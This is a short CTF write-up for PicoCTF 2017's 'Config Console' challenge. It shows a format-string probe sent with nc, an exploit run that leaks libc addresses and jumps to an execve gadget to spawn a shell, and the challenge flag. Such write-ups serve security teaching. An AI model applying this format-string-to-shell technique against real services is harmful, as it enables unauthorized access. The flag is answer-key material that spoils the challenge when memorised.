PicoCTF_2017: Config Console

Category: Binary Exploitation Points: 125 Description:

In order to configure the login messsage for all the users on the system, you've been given access to a configuration console. See if you can get a shell on shell2017.picoctf.com:27124. console Source

Hint:

You can either see where libc is or modify the execution. Is there a way to get the vulnerability to run twice so that you can do both? There's a place in libc that will give you a shell as soon as you jump to it. Try looking for execve.

Write-up

Initially, through some testings, we find out that it is a format string attackable challenge.

$ nc shell2017.picoctf.com 27124
Config action: exit %s %s %s
Exit message set!

  H=???s1?H??Ώ

Through some testings, it seems that the exit command is the only one vulnerable, so we will use that to our advantage.

Solution

[+] Opening connection to shell2017.picoctf.com on port 27124: Done
[*] printf(): 0x00007f4bfa1f6df0
[*] libc:     0x00007f4bfa18d000
[*] magic:    0x00007f4bfa263e77
[+] Please test if shell has spawned
[*] Switching to interactive mode
w>&?K$ ls
console
flag.txt
xinetd_wrapper.sh
$ cat flag.txt
5fb954bad3997c3a640d70207df00356

Therefore, the flag is 5fb954bad3997c3a640d70207df00356.

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